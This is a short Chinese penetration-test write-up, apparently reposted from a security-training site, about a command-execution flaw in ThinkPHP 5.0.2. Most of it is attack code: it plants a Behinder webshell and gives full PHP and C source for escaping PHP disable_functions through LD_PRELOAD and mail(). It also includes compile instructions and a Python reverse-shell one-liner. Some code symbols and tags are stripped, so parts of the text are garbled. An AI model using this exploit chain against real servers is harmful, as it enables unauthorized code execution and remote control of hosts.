一次授权测试中,发现网站是ThinkPHP 5.0.2搭建的
漏洞存在ThinkPHP 5.0.2 命令执行
尝试写入冰蝎3.0的马
汰,写入报错发现是?php
echo "p> b>example/b>: http://site.com/bypass_disablefunc.php?cmd=pwd/p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>
echo "p> b>cmdline/b>: " . $evil_cmdline . "/p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "p> b>output/b>: br />" . nl2br(file_get_contents($out_path)) . "/p>";
unlink($out_path);
?>
bypass_disablefunc.c
#define _GNU_SOURCE
#include stdlib.h
#include stdio.h
#include string.h
extern char environ;
__attribute__ ((__constructor__)) void preload (void)
{
get command line options and arg
const char cmdline = getenv(EVIL_CMDLINE);
unset environment variable LD_PRELOAD.
unsetenv(LD_PRELOAD) no effect on some
distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], LD_PRELOAD)) {
environ[i][0] = '0';
}
}
executive command
system(cmdline);
}
用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:
要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
通过冰蝎上传,然后测试效果:
命令执行成功。Nc反弹shell
提示没有-e的参数,直接使用python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功
总结:这次的测试,写入冰蝎的过程要注意编码问题。然后就是利用LD_PRELOAD绕过disable_functions。
转载请注明来自网盾网络安全培训,本文标题:《一次ThinkPHP引发的bypass_disable_functions》
- 关于我们